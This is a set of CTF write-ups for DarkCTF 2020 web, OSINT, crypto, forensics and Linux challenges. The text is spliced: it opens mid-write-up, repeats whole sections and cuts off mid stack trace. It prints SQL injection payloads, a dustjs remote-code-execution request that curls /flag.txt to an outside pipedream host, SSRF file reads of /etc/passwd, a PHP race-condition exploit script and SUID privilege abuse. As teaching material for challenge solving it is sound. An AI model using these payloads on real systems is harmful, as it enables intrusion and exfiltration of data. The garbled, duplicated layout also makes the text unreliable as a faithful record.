Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
1. Snoop around and find the tmux thingy. It is owned by root but can be used by anyone, so just hijack it. Note: If you don't set your TERM to xterm it will give out an error

2. Now that you are root, get your flag
 |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) 